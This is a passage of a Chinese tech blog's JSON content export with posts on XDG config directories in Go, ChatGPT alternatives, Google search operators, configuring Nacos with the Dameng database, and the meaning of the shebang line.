xdgDataHome == \u0026#34;\u0026#34; { 13 xdgDataHome = filepath.Join(os.Getenv(\u0026#34;HOME\u0026#34;), \u0026#34;.local\u0026#34;, \u0026#34;share\u0026#34;) 14 } 15 16 // 获取 XDG_CONFIG_HOME 环境变量，如果不存在则使用默认值 17 xdgConfigHome := os.Getenv(\u0026#34;XDG_CONFIG_HOME\u0026#34;) 18 if xdgConfigHome == \u0026#34;\u0026#34; { 19 xdgConfigHome = filepath.Join(os.Getenv(\u0026#34;HOME\u0026#34;), \u0026#34;.config\u0026#34;) 20 } 21 22 // 获取 XDG_CACHE_HOME 环境变量，如果不存在则使用默认值 23 xdgCacheHome := os.Getenv(\u0026#34;XDG_CACHE_HOME\u0026#34;) 24 if xdgCacheHome == \u0026#34;\u0026#34; { 25 xdgCacheHome = filepath.Join(os.Getenv(\u0026#34;HOME\u0026#34;), \u0026#34;.cache\u0026#34;) 26 } 27 28 // 打印结果 29 fmt.Printf(\u0026#34;XDG_DATA_HOME: %s\\n\u0026#34;, xdgDataHome) 30 fmt.Printf(\u0026#34;XDG_CONFIG_HOME: %s\\n\u0026#34;, xdgConfigHome) 31 fmt.Printf(\u0026#34;XDG_CACHE_HOME: %s\\n\u0026#34;, xdgCacheHome) 32} 然而，仍然存在一些特定的应用程序或开发者选择在用户主目录下创建自己的隐藏文件夹，而不一定遵循 XDG 规范。这可能是因为某些应用程序在 XDG 规范之前就已经存在，或者开发者有其他特定的理由(也许压根就不知道有这个规范)。\n","date":"2023-11-27T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-11-27-yong-hu-zhu-mu-lu-xia-wei-shen-me-hui-you-zhe-me-duo-luan-qi/cover.jpg","permalink":"/p/2023-11-27-yong-hu-zhu-mu-lu-xia-wei-shen-me-hui-you-zhe-me-duo-luan-qi/","title":"用户主目录下为什么会有这么多乱七八糟的 “点开头”的文件 ？没人管管吗？"},{"content":"\n正在寻找最好的 ChatGPT 替代品？\n越来越多的人开始使用 ChatGPT 等人工智能聊天机器人来帮助完成各种任务。但如果 ChatGPT 不适合您怎么办？我们不太喜欢 ChatGPT。有时，信息是旧的，它也会给出有偏见的答案，而且有很多过滤器。\n但别担心！还有很多其他很棒的选择。为了让您的生活更轻松，我们收集了 ChatGPT 的最佳替代品列表。这些聊天机器人聪明、乐于助人，随时可以帮助您更快更好地完成工作。\n最佳 ChatGPT 替代品 如果您因为不想每月花费 20 美元或者无法购买 ChatGPT Plus 而正在寻找常规 ChatGPT 替代品，那么此列表适合您。\n如果 ChatGPT 不是您喜欢的，您可以尝试以下一些最佳的 ChatGPT 替代方案：\n1.Writesonic 的 Chatsonic Chatsonic 由 GPT-4 提供支持，是一款旨在克服 ChatGPT 局限性的聊天机器人。它提供实时数据、图像和语音搜索以及广泛的内容创建能力。\nChatsonic 是一款 AI 写作工具，提供无限套餐，每月仅需 16 美元，与 ChatGPT 相比，它是最实惠的选择。\n为什么尝试 Chatsonic 作为 ChatGPT 的替代品\n您可以使用Chatsonic在线查找准确的信息并避免犯错误。人工智能聊天机器人会记住对话并利用它们继续与您交谈。\n我们认为，您应该尝试使用 ChatSonic 而不是 ChatGPT。这是一个很好的替代方案，您可能会发现它更有价值，因为我们已经在此列表中的所有其他工具中尝试过它，发现 Chatsonic 的性能远远优于任何其他人工智能聊天机器人。最好的部分是它的成本比 ChatGPT 低 4 美元，这使其成为值得的 ChatGPT 替代品。\n尽管您可能会发现许多免费选项，但我们的建议是使用 Chatsonic 并尝试这个 ChatGPT 替代方案。\n主要特征：\n低成本：每月只需 16 美元，比 ChatGPT 便宜，但提供的服务同样多甚至更多。 Google 专有技术：Chatsonic 使用 Google 的知识图谱。这意味着您可以随时获取最新且正确的信息。 有趣的角色：你可以像与教练、诗人甚至单口喜剧演员一样与它交谈！让聊天变得更加有趣。 AI 艺术：与 ChatGPT 不同，Chatsonic 可以根据文本创作艺术。只需输入一些内容，就会看到它变成一个很酷的图像。 智能记忆：它会记住您过去的聊天记录，这对于保持对话流畅非常有用。 不仅仅是文本：您还可以使用语音命令，这比仅打字更简单。 随时随地轻松使用：有电话吗？您可以使用Chatsonic。有一款 Android 应用程序可以让您在旅途中轻松使用。 DIY 聊天机器人：如果您有生意，您可以使用 Botsonic 制作自己的聊天机器人。无需编码！ 2.微软必应 当您想到人工智能驱动的聊天工具时，焦点通常会转移到 Google 和 OpenAI。\n但微软 Bing 已经表明它不容忽视。微软提供了与 ChatGPT 相媲美的 AI 模型，并发布了 Bing 的升级版本，该版本采用了代号为“Sydney”的 AI 聊天引擎。\n最初宣布为“普罗米修斯模型”，后来证实其背后的技术正是 GPT-4。\n为什么尝试使用 Microsoft Bing 作为 ChatGPT 的替代品 对于那些寻求搜索引擎和对话式人工智能机器人合二为一的人来说，Bing 提供了巧妙的解决方案。新的必应还具有聊天模式，允许用户根据网络查询进行上下文对话。该服务还提供多模式功能、视觉答案和更高的准确性。\n它与 ChatGPT 更具可比性的是它的功能集，其中包括计划旅行、查找食谱和提供建议的功能。\n以前只能通过候补名单才能使用 Bing 的聊天引擎，现在已公开。\n主要特征：\n由 GPT-4 提供支持：这确保了聊天体验与 ChatGPT 一样流畅和对话。 视觉输入和输出：与其他一些聊天机器人不同，Bing 还支持视觉查询并可以提供视觉答案。 互联网连接：Bing AI 与网络相连，提供有关任何主题的最新信息。 聊天历史记录：Bing 会保留您的聊天历史记录，以便您稍后可以返回。 不同的聊天模式：Bing 提供不同的对话风格，使其适合各种用户。 引用来源：一个突出的功能是 Bing 会注明其提取信息的来源，从而提供额外的信任层。 Bing 可免费使用。因此，如果您正在寻找 ChatGPT 的免费替代方案，Bing 提供了一个令人信服的案例。\n3.谷歌 Bard 现在有很多新的人工智能对话应用程序，但 Google Bard 是继微软的 Bing Chat 之后 ChatGPT 的绝佳替代品。它使用LAMDA（对话应用语言模型）与用户进行深入而长时间的对话。\n为什么尝试使用 Google Bard 作为 ChatGPT 的替代品\nGoogle Bard 是 ChatGPT 的一个有趣的替代品，特别是对于那些已经投资于 Google 产品和服务生态系统的人来说。\nGoogle Bard 还非常擅长理解上下文并生成有意义且与上下文相关的文本。\n主要特征：\n文本和图像上传：与其他替代方案不同，Bard 接受文本和图像输入，使其成为多模式聊天机器人。这为从视觉搜索到基于图像的问答等各种用例打开了大门。 实时研究：Google 庞大的数据库是信息宝库。Bard 利用这一点来提供准确且极其详尽的答案。 PaLM 2-Powered ：Bard 依赖于 Google 的下一代 PaLM 2 语言和对话模型，与前身相比，它提供了更精致的对话体验。 导出功能：无论您是编码员还是内容创建者，Bard 的导出选项都是一个福音。您可以将交互导出到 Google Docs 或 Colab，从而提高工作流程效率。 多语言支持：Bard 的语言能力不仅限于英语。它支持多种语言，使其成为全球用户的理想工具。 价钱：截至目前，Google Bard 是免费的，因为它是一个实验项目。谷歌尚未透露任何未来的定价计划，这使其成为注重预算的用户的一个有吸引力的选择。\n4. Claude AI chatGPT 的第四个替代方案是 Anthropic 开发的 Claude AI，它在过去一个月中获得了大量用户。\n凭借增强的特性和功能，Claude 2 将用户体验提升到了一个新的水平。该公司得到了谷歌的支持，将自己定位为 OpenAI 的直接竞争对手。\n该产品采用独特的人工智能技术，称为“专有”，其中包括神经网络、训练数据和其他未公开的组件。\n为什么尝试 Claude AI 作为 ChatGPT 的替代品\nClaudeAI 很酷，并且在某些方面比 ChatGPT 做得更好。首先，您可以添加 Word 或 PDF 等文件。克劳德阅读它们，然后与您谈论它们。这是ChatGPT无法做到的。您可以向克劳德询问有关您上传的文件的问题，它会理解您的问题。\n另一个很酷的事情是克劳德可以处理很多单词。你可以一次聊很多事情，而且它不会忘记之前说过的话。这就像与一位倾听的朋友交谈。这是因为 Claude 使用了 100K 代币，比 ChatGPT 的 8K 多得多。\nClaude 知道截至 2023 年初发生的事情，因此它比 ChatGPT 拥有更新鲜的信息。如果你想了解新手机或活动，克劳德更好。\n但要小心链接。克劳德试图告诉你网站上的内容，但有时会出错。所以不要对此过于信任。尽管如此，Claude 还是有很多优势，如果您需要上传文件或想要更多最新信息，这是一个不错的选择。\n主要特征：\n大聊天窗口：Claude 有一个 100k 的上下文窗口。这意味着什么？这意味着它会记住您所说的很多内容，因此您不必不断重复自己。 智能图书：您可以将整个图书馆的图书加载到克劳德中。所以，如果你是一个书迷，你和克劳德会相处得很好。 文件上传：您甚至可以将 PDF 文件发送给 Claude。我会阅读它们并与您讨论。 安全可靠：Claude 的设计理念是使用起来超级安全。如果你担心这类事情，那是一件大事。 价钱：您猜怎么着？如果您在某些国家/地区，克劳德现在免费。但他们也有一些计划，你可以根据聊天量付费。\n5. Poe Poe 是一个流行的聊天机器人网站，它使用人工智能来尽快回答问题。这款独特的 Quora 产品基于 OpenAI GPT 和 Claude 版本 1.2 构建。\n为什么尝试 Poe AI 作为 ChatGPT 的替代品\nPoe AI 是 Quora 首席执行官 Adam D'Angelo 的创意。他的目的是什么？让机器人易于所有人使用。Poe AI 在 Google Bard 和 Bing AI 等繁忙的机器人领域提供了一些不同的东西。\n然而，它现在不是免费的，因为你每天只能输入 2 到 3 条消息，而且每月费用为 19 美元，不过对于 chatGPT 3.5 是免费的。\n它在我们的列表中排名如此靠后的原因是它缺乏 Chatsonic 或 Microsoft Bing AI Chat 提供的许多功能。\n主要特征：\n一个应用程序中的多个机器人：Poe 可以在一个界面中访问各种机器人，例如 ChatGPT、GPT-4、Claude Plus 和 Claude Instant。 移动友好：Poe 的移动应用程序可以轻松地随时随地聊天，与纯网络界面相比，许多用户发现这一功能很方便。 订阅计划：Poe 以每月 19.99 美元的价格提供 Pro 服务，该服务消除了每日消息限制并提供高级功能。 机器人推荐：Poe 旨在指导用户为特定任务（例如写作或编程）选择最合适的机器人。 设备间同步：该应用程序会在不同设备上同步您的所有聊天数据，以便您可以从上次停下的地方继续。 用户创建的机器人：Poe 允许您针对独特的用例创建和自定义自己的机器人。 6. Jasper Jasper 是一个强大的工具，可以使用人工智能制作不同类型的内容。最近，他们制作了 Jasper Chat，它类似于 ChatGPT，但主要用于营销和广告等业务。\n它可以创建博客文章、建议标题、使电子邮件听起来不错，以及执行其他写作工作。\n它甚至可以为您的物品制作图片。Jasper Chat 旨在帮助写作、营销和销售。它使用 GPT-3.5，如 ChatGPT 和其他一些人工智能技术。它非常适合客户服务、销售和营销任务。\n为什么尝试 Jasper 作为 ChatGPT 的替代品\nJasper Chat 在 ChatGPT 替代品中排名第六，对于内容创作者来说是一个有用的工具。它是 Jasper 人工智能工具套件的一部分，可以做很多事情。它可以撰写博客文章、建议吸引人的标题，甚至可以创作人工智能艺术。\nJasper Chat 的一个很酷的事情是它支持 29 种语言，因此它对世界各地的人们来说都很棒。它还会记住过去的对话，所以感觉就像是真正的聊天。您甚至可以教它听起来像您的品牌。\n然而，它并不完美。有时，它会出错，因此您可能需要检查其工作。而且，它不是免费的；您每月必须支付至少 59 美元。但如果你真的想制作内容，那么这可能是值得的。\n简而言之，Jasper Chat 对于内容创作者来说是一个有用的工具。它可能不是在各方面都是最好的，但它是一个出色的全能选择。\n主要特征：\n多语言支持：Jasper Chat 可以生成 29 种不同语言的内容。 上下文记忆：聊天机器人会记住之前的交互，以便进行更连贯和上下文感知的对话。 品牌培训：用户可以培训 Jasper 以符合他们特定的品牌声音。 内容多样性：Jasper 可以制作广泛的内容，从博客文章到人工智能生成的艺术。 价钱：Jasper Chat 可通过 Jasper 的 Business 和 Boss 计划向付费订阅者提供。Boss 计划起价为每月 59 美元，提供一系列高级功能，包括聊天机器人。尽管没有专门针对 Jasper Chat 的免费套餐，但该公司确实提供了 5 天的试用期，让用户在订阅之前探索其功能。\nChatGPT 替代方案比较表 ","date":"2023-11-26T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-11-26-yan-juan-le-chatgpt-chang-shi-zhe-6-zhong-ti-dai-fang-an/cover.jpg","permalink":"/p/2023-11-26-yan-juan-le-chatgpt-chang-shi-zhe-6-zhong-ti-dai-fang-an/","title":"厌倦了 ChatGPT？尝试这 6 种替代方案"},{"content":"Google 高级搜索运算符是过滤搜索结果的特殊命令和字符。他们通过使你的搜索更加精确和集中来做到这一点。\n例如， site: 运算符将结果限制为来自特定站点的结果：\n在这篇文章中，你将了解所有 Google 搜索运算符。\n完整列表 以下是每个 Google 搜索运算符的作用的简要说明。我将它们分为三类：\nWorking – 按预期工作。\nUnreliable – 谷歌并未正式弃用，但结果却时好时坏。\nNot working – 已被 Google 正式弃用。\n以下是完整列表\nWorking 搜索运算符 它能做什么 例子 “ ” 搜索提及单词或短语的结果 “steve jobs” OR 搜索与 X 或 Y 相关的结果 jobs OR gates 与 OR 相同 AND 搜索与 X 和 Y 相关的结果 jobs AND gates - 搜索未提及单词或短语的结果 jobs -apple * 通配符匹配任何单词或短语 steve * apple ( ) 对多个搜索进行分组 (ipad OR iphone) apple define: 搜索单词或短语的定义 define:AI cache: 查找网页的最新缓存 cache:apple.com filetype: 搜索特定类型的文件（例如 PDF） apple filetype:pdf ext: 与 filetype: 相同 apple ext:pdf site: 从特定网站搜索结果 USB site:apple.com related: 搜索与给定域相关的站点 related:apple.com intitle: 搜索标题标签中包含特定单词的页面 intitle:apple allintitle: 搜索标题标签中包含多个单词的页面 allintitle:apple iphone inurl: 搜索网址中包含特定字词的网页 inurl:apple allinurl: 搜索网址中包含多个单词的网页 allinurl:apple iphone intext: 搜索内容中包含特定单词的页面 intext:apple allintext: 搜索内容中包含多个单词的页面 allintext:apple iphone weather: 搜索某个位置的天气 weather:beijing stocks: 搜索股票代码的股票信息 stocks:baba map: 强制 Google 显示地图结果 map:silicon valley movie: 搜索有关电影的信息 movie:steve jobs in 将一个单位转换为另一种单位 $329 in RMB (329美元兑换人民币) source: 在 Google 新闻中搜索特定来源的结果 apple source:the_verge before: 搜索特定日期之前的结果 apple before:2017-06-29 after: 搜索特定日期之后的结果 apple after:2017-06-29 “\n您还可以使用 _ 运算符，它在 Google 中充当通配符。\n”\nUnreliable 搜索运算符 它能做什么 例子 #..# 在数字范围内搜索 iphone case 60 inanchor: 搜索带有包含特定锚文本的反向链接的页面 inanchor:apple allinanchor: 搜索具有锚文本中包含多个单词的反向链接的页面 allinanchor:apple iphone AROUND(X) 搜索两个单词或短语在 X 个单词之间的页面 apple AROUND(4) iphone loc: 查找给定区域的结果 loc:\u0026ldquo;san francisco\u0026rdquo; apple location: 在 Google 新闻中查找特定位置的新闻 location:\u0026ldquo;san francisco\u0026rdquo; apple daterange: 搜索特定日期范围内的结果 steve jobs daterange:11278-13278 Not working (已被Google 正式删除) 搜索运算符 它能做什么 例子 ~ 在搜索中包含同义词 ~apple \u0026ldquo;+\u0026rdquo; 搜索提及确切单词或短语的结果 jobs +apple inpostauthor: 在已停止使用的 Google 博客搜索中搜索特定作者的帖子 inpostauthor:”steve jobs” allinpostauthor: 与 inpostauthor: 相同，但不需要引号 allinpostauthor:steve jobs inposttitle: 在 Google 已停止使用的博客搜索中搜索标题中包含某些单词的帖子 inposttitle:apple iphone link: 搜索链接到特定域或 URL 的页面 link:apple.com info: 搜索有关特定页面或网站的信息 info:apple.com id: 与 info: 相同 id:apple.com phonebook: 搜索某人的电话号码 phonebook:tim cook # 在 Google+ 上搜索主题标签 #apple 举例 使用 Google 搜索运算符的几种方法 如果你知道如何使用和组合 Google 高级运算符，你几乎可以实现任何目标。因此，不要害怕尝试下面的示例。你可能会发现一些新东西。\n查找可能的索引问题 密切关注网站的 site: 搜索结果可以发现潜在的索引问题。\n例如，如果我们将其与 filetype: 运算符结合使用，我们会看到这家 3D 打印公司有相当多的 PDF 被索引：\n如果这是故意的，这并不是一件坏事，但对于某一些人来说，就不一定了。\n例如，其网站有一个关于 3D 打印机总拥有成本白皮书的潜在客户登陆页面：\n但此 PDF 已建立索引，因此你无需填写详细信息即可轻松访问它：\n网站所有者可能应该添加 x-robots noindex 标签来解决此问题。\n找到您想要联系的人的电子邮件地址 人们经常在 Twitter 上分享他们的电子邮件地址，因此你可以使用搜索运算符来查找这些推文\n例如，如果您想查找 Tim Soulo 的电子邮件地址，您可以搜索他的任何提及“email”和“gmail.com”或“ahrefs.com”一词的推文（因为他的电子邮件地址几乎可以肯定是在这些域）\n如果你这样做，他的电子邮件地址会立即弹出：\n查找相关的知乎问题并回答 知乎是一个网站，人们可以在这里提出问题，贡献者可以发布答案，最好的答案会被投票到顶部。\n知乎的搜索功能效果很好。缺点是你一次只能搜索一个主题。\n因此你可以使用以下搜索运算符来解决此问题：\nsite:quora.com intext:([topic 1] | topic 2)\n例如，如果你有一个健康和健身网站，您可以搜索如下内容：\nsite:zhihu.com intext:( 蛋白质 | 肌肉 | 力量 )\n","date":"2023-11-26T04:20:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-11-26-google-gao-ji-sou-suo-yun-suan-fu-wan-zheng-lie-biao-44-ge/cover.jpg","permalink":"/p/2023-11-26-google-gao-ji-sou-suo-yun-suan-fu-wan-zheng-lie-biao-44-ge/","title":"Google 高级搜索运算符完整列表（44 个）"},{"content":"Nacos 支持两种数据持久化方式，一种是利用内置的数据，一种是利用外置的数据源。\n内置数据库支持: Nacos 默认内置了一些数据存储解决方案，如内嵌的 Derby 数据库。 这种内置方式主要用于轻量级或测试环境。 外置数据库支持: 对于生产环境，Nacos 支持外置数据库以提供更高的可靠性和伸缩性。 常见的外置数据库包括 MySQL 等，这些数据库通过标准的 JDBC 接口与 Nacos 集成。 然而 达梦数据库 Nacos 原生是不支持的，或者说不能通过简单配置使 Nacos + 达梦数据库这样的组合生效。\n达梦数据库 是什么 达梦数据库（DMDB），是一款由中国国内团队自主研发的关系型数据库管理系统（RDBMS）。它旨在提供高性能、高可靠性和高安全性的数据库解决方案，特别是对于在政府、金融、电信等行业的应用。\n介绍一下达梦数据库的几个关键方面：\n自主研发：达梦数据库是由中国国内团队自主研发的，这意味着它在设计和开发过程中更加注重符合国内市场的需求和标准。它的出现也代表了中国在关键技术领域自主创新的重要成果。 高性能：达梦数据库采用了先进的数据库技术，比如高效的存储引擎、智能的查询优化器等，以提供高速的数据处理和查询性能。这使得它适合处理大规模数据和高并发访问，满足企业级应用的需求。 高可靠性：在设计上，达梦数据库强调数据的可靠性和持久性。它提供了严格的事务控制、灾难恢复和备份机制，确保在各种环境下数据的完整性和安全性。 高安全性：达梦数据库特别注重数据安全。它提供了包括数据加密、访问控制、审计日志等多重安全机制，帮助用户防范数据泄露和非法访问。 兼容性和易用性：为了更好地适应现有的企业环境，达梦数据库支持广泛的操作系统和平台，并且与主流的编程语言和开发工具具有良好的兼容性。此外，它还提供了易于使用的管理工具和丰富的文档支持。 应用场景：达梦数据库广泛应用于政府、金融、电信、能源、教育等多个行业，特别是在那些对数据安全性和可靠性有高要求的领域。 为什么使用达梦数据库 在数据库的选型方面，通常我们会使用业内广泛使用的产品，如开源的 MySQL, 甚至收费的如 Oracle、SQL Server，直到 “信创” 的到来，打破了这些传统产品在数据库市场的垄断地位。\n“\n“信创”这个词最早来源于“信创工委会”。该组织的全称是：信息技术应用创新工作委员会，是在 2016 年，由 24 家专业从事软硬件关键技术研究及应用的国内单位，共同发起成立的一个非营利性社会组织。\n”\n后来，除了数据安全、网络安全，信创是把之前的一些软硬件等行业放到了一起，重新起了一个名字叫：信息技术应用创新产业，简称“信创”。\n也因此，一般来说，信创包括基础硬件、基础软件、应用软件、信息安全四大板块。其中，基础硬件主要包括：芯片、服务器/PC、存储等；基础软件包括：数据库、操作系统、中间件等；应用软件包括：办公软件、ERP 和其它软件等；信息安全包括硬件安全、软件安全、安全服务等各类产品。\n针对安全可控，我们国家提出的是“2+8”体系。“2”指党、政；“8”指关于国计民生的八大行业：金融、电力、电信、石油、交通、教育、医疗、航空航天。\n发展信创，先在党政等封闭市场进行应用信创产品，打磨产品和生态；接着在产品好用和生态相对成熟之后，进入金融、电力、电信、石油、交通、教育、医疗、航空航天重点行业市场；最后才是将信创产品全面应用到消费市场。\n而数据库就是我们常说的 “信创” 四件套（芯片、操作系统 、数据库、中间件）之一。达梦数据库就是这样一个符合 “国产化” 要求的自主研发的数据库。所以，由于国家信息安全的要求，我们的客户需要符合这些要求，也必然要进行软件的替换。\n实现方案 首先看一下 Nacos 原生支持的外置数据库有哪些，是否支持达梦？\n根据以下 Nacos 官方文档，无论是单机还是集群模式，貌似只支持 MySQL 作为外置数据源\nhttps://nacos.io/zh-cn/docs/v2/guide/admin/deployment.html https://nacos.io/zh-cn/docs/v2/guide/admin/cluster-mode-quick-start.html 只支持 MySQL 吗？不是说还支持其他像 Oracle 之类的数据库吗？\n在调研的过程中，发现 github 上 Nacos 的源码有这样一个功能分支 feature_multiple_datasource_support\n很明显，它就是用来支持多数据源的，通过源码我们可以看到它支持的多种数据源都有哪些：\n这个分支能够支持的外部数据源分别是：\noracle mysql postgresql 我分析了 Nacos 1.0 及 2.0 主要版本，发现 多数据源的这个功能并没有被合并到主要的开发及 release 分支上。也就是说 Nacos 现有的主要版本的 release 并没有多数据源的这个功能，外置数据源只兼容 MySQL。\n根据前面的分析我们知道即使是 feature_multiple_datasource_support 分支也只支持三个数据源，如果想用非 MySQL 的数据源，比如用 Oracle 就需要自己修改和编译源代码。\n1mvn -Prelease-nacos -Dmaven.test.skip=true -Dcheckstyle.skip=true clean install -U 具体修改的部分也主要是配置文件 application.properties 没有其他地方了。\nNacos 是支持 Oracle 和 PostgreSQL 的，只不过需要手动修改配置和编译。虽然这种方法可行，但由于功能分支长时间未更新，最新版本的代码未合并过来，可能会造成一些安全和功能上的问题。更重要的是，通过上述的分析我们知道，Nacos 在原生的模式下，确实是不支持达梦数据库的。\n方案一 修改源代码方式 根据前文我们知道，Nacos 原生是不支持达梦数据库的，所以就要想办法让它 “支持”，直觉上因为是开源软件，我们还是会从源码入手。\n既然可以修改源代码，我们就不需要从 feature_multiple_datasource_support 分支开始了，可以在流行的 1.x 、2.x 或最新版本代码的基本上修改。\n主要涉及到以下内容的修改：\ncom/alibaba/nacos/persistence/datasource/ExternalDataSourceProperties.java console/src/main/resources/application.properties 代码具体的修改方式和内容可以是多样的，下面举几个例子，供参考：\nhttps://developer.aliyun.com/article/976299 https://www.cnblogs.com/hi-gdl/p/nacos-02.html https://cloud.tencent.com/developer/article/1912024 https://codeantenna.com/a/SJdgkqAbZt 核心思路是：由于达梦数据库良好的支持了 JDBC 驱动，所以我们只需要把 jdbcDriver 进行更换就可以了。然后同样手动进行编译，使用自己编译好的构建物进行部署。\n这里涉及到的 Nacos 数据库初始化脚本可以参考：https://gitee.com/tangjingshan/nacos/blob/tjs-study-fetch-master/distribution/conf/dm-schema.sql\n总结：\n源代码修改方案并不复杂，相对比较简单，但需要做好相关功能的完整测试。 使用这种方式不但可以支持达梦数据库也可以在同样原理下支持其他国产数据库，如 人大金仓 这种方式的问题是由于自行修改了源代码，在进行版本升级时会比较麻烦，每一次升级都要手动合并最新的代码再进行编译，未来甚至有可能出现 Nacos 官方源码进行大规模重构，自行编译的代码无法合并的情况。虽然也有解决办法，但是个麻烦点。 数据迁移，这个后面我具体再详细说明 方案二 多数据源插件 Nacos 从 2.2.0 版本开始，可通过 SPI 机制注入多数据源实现 插件，它的原理是：\n在原来的 Config 模块中，所有的 SQL 操作的执行是通过直接使用 JdbcTemplate 执行固定 SQL 语句的形式，使得 SQL 语句与业务逻辑高度耦合，并且只支持 Derby 与 MySQL 两种数据源，原有 Config 模块架构如下。\n现在的多数据源插件通过 SPI 机制，将 SQL 操作按照数据表进行抽象出多个 Mapper 接口，Mapper 接口的实现类需要按照不同的数据源编写对应的 SQL 方言实现；现在插件默认提供 Derby 以及 MySQL 的 Mapper 实现，可直接使用；而其他的数据源则需要用户使用数据源插件进行加载，其改造后架构图如下。\n我们这里详细描述一下原理\n上图是 Nacos 的源码包中 plugin 模块，可以看到在 datasource 包下有不同的数据库实现类。这里其实就是抽象了 Nacos 操作的各个表的 Mapper 接口实现，你可以看到具体的 SQL 语句都在里面。\n既然有 MySQL、derby 的实现，也可以有我们自己的实现，具体来说就是达梦数据库的实现，我们只需要把这几个类重写就可以了，当然具体重写的内容中的 SQL 要根据达梦数据库的方言情况，修改或者不修改。\n那么是否可以直接在源码的基础上添加 DM 的实现类进行开发呢？\n理论上当然可以，但既然叫插件就有插件的形式。在 Nacos 源码的基础上开发耦合太重了，这不是插件化的表现形式。\n我们要把与多数据源相关的自定义代码专门写一个包，然后在 Nacos 的代码中依赖，这样就解耦了，也与上文 Nacos 插件架构图中的描述相符。\n插件化是如何实现的呢，或者说动态替换实现类是如何实现的？\n这就要利用到 Java 的 SPI 知识了，由于是基础理论这里就不展开讲了。Nacos 在源码中已然利用 SPI 进行数据源 Mapper 的加载了，可以参考下图：\n源码位置：com.alibaba.nacos.plugin.datasource.MapperManager#loadInitial\n我们可以看到，源码是利用 ServiceLoader 加载插件包，而这些实现类也写在 plugin/datasource/src/main/resources/META-INF/services/com.alibaba.nacos.plugin.datasource.mapper.Mapper 这个文件里\n那么如果我们也利用 SPI 配置好 DM 的实现类，然后根据数据源参数找到相应的实现类是不是就可以了？\n是的，所以源码中也正是这么做的\n源码位置：com.alibaba.nacos.plugin.datasource.MapperManager#findMapper\n这里我们讲一下具体的实现方法：\n1 初始化达梦数据库，具体脚本可以参考 ：https://github.com/nacos-group/nacos-plugin/blob/develop/nacos-datasource-plugin-ext/nacos-dm-datasource-plugin-ext/src/main/resources/schema/nacos-dm.sql\n2 编写插件包，利用 SPI 的原理，自定义实现各个表的 Mapper 实现类，这里其实 Nacos 的社区 nacos-group 中已经有现成的实现了，可以参考他们的项目和代码，实际上的代码都比较简单，甚至不需要做什么改动，因为基本的 SQL 达梦都是兼容的。\n3 插件引入，有两种方式\n第一种：\n直接用 nacos-group 的现成的实现包，然后用 maven 进行依赖就可以了，例如：\n1 \u0026lt;dependency\u0026gt; 2 \u0026lt;groupId\u0026gt;com.alibaba.nacos\u0026lt;/groupId\u0026gt; 3 \u0026lt;artifactId\u0026gt;nacos-dm-datasource-plugin-ext\u0026lt;/artifactId\u0026gt; 4 \u0026lt;version\u0026gt;1.0.0-SNAPSHOT\u0026lt;/version\u0026gt; 5 \u0026lt;/dependency\u0026gt; 第二种：\n将插件源码打包为 jar 包，将该文件的路径配置到 startup.sh 文件中，使用 Nacos 的 loader.path机制指定该插件的路径，可修改 startup.sh 中的 loader.path 参数的位置进行指定。\n启动脚本会指定插件包位置为：-Dloader.path=${BASE_DIR}/plugins loader.path 机制为打包插件 spring-boot-maven-plugin 提供的，该机制下实际启动类会变成org.springframework.boot.loader.PropertiesLauncher#main，且类会由org.springframework.boot.loader.LaunchedURLClassLoader这个类加载器加载\n4 修改数据库配置文件，在 application.properties 文件中声明 dameng 的配置信息：\n1spring.datasource.platform=dm 2 db.url.0=jdbc:dm://127.0.0.1:5236/DMSERVER?schema=NACOS\u0026amp;compatibleMode=mysql\u0026amp;ignoreCase=true\u0026amp;ENCODING=utf-8 3 db.user.0=SYSDBA 4 db.password.0=SYSDBA 5 db.pool.config.driverClassName=dm.jdbc.driver.DmDriver 5 如果用 maven 依赖的方式引入了插件包，就需要源码重新编译，如果使用 loader.path 指定路径的方式就可以重启进行测试了\n数据迁移 无论使用哪种解决方案很大可能性都需要进行数据迁移，即将旧的非 达梦数据库的数据迁移到达梦数据库。\n我们要把 Nacos 的数据或者 SQL 语句迁移到达梦数据库。借助 DM 数据迁移工具 ，完成 Nacos 配置数据表迁移到达梦数据库。\n","date":"2023-11-23T05:08:51Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2023-11-23-ru-he-rang-nacos-zhi-chi-da-meng-shu-ju-ku-zuo-wei-wai-zhi-s/cover.jpg","permalink":"/p/2023-11-23-ru-he-rang-nacos-zhi-chi-da-meng-shu-ju-ku-zuo-wei-wai-zhi-s/","title":"如何让 Nacos 支持达梦数据库作为外置数据源"},{"content":"我们通常看到的脚本文件总是有以下这样的开头：\n#!/bin/bash 本文解释一下这是什么，以及为什么要写它。\n首先解释一下 #! ，因为 #!有个专有的名词，叫 shebang\n发音类似中文的 “蛇棒” 。为什么叫 shebang 呢？首先 # 的英文是 sharp, 而 感叹号 ! 经常被引用为炸弹，炸弹爆炸就是 bang , 所以 sharp+bang，简读为 shebang\n后面的 /bin/bash 就比较熟悉了，它是 Bash Shell 的二进制执行文件路径。是 Unix 类操作系统中最常用的 Shell 程序之一。\n所以 #!/bin/bash 的作用是：用于指定默认情况下运行指定脚本的解释器\n当脚本以 #!/bin/bash 开头时，内核就知道用 /bin/bash 这个可执行文件来解释并运行这个脚本。\n既然是指定一个解释器，那么这个开头就可以根据你指定的解释器有多种不同写法了，比如：\n#!/bin/sh #!/bin/bash #!/usr/bin/perl #!/usr/bin/tcl #!/bin/sed -f #!/usr/awk -f 上边每一个脚本头的行都指定了一个命令解释器，注意：#! 后边给出的路径名必须是正确的，否则将会出现一个错误消息，通常是\u0026quot;Command not found\u0026quot;\n“\n如果是/bin/sh，那么就是默认 shell（在 Linux 系统中默认是 Bash)。使用#!/bin/sh，在大多数商业发行的 UNIX 上，默认是 Bourneshell，这将让你的脚本可以正常的运行在非 Linux 机器上，虽然这将会牺牲 Bash 一些独特的特征\n”\n例子 假设我们有一个名为 “shell_script” 的脚本文件，文件内容如下\n#!/bin/bash 然后我们准备执行这个文件\n$ chmod u+x shell_script $ ./shell_script 当我们执行 ./shell_script 这行命令的时候由于脚本添加了 shebang，相当于在命令行这样执行：\n/bin/bash shell_script 你可能会有疑问：我写的脚本里面没有 shebang ，它也能正常执行啊？\n是的，这是由于如果你不指定解释器，它就会去找系统默认的 bash ，你可以看一下你系统默认的 bash 是什么\n我的是 zsh , 因为这是我设置的 (echo $0 打印当前使用的 shell)\n❯ 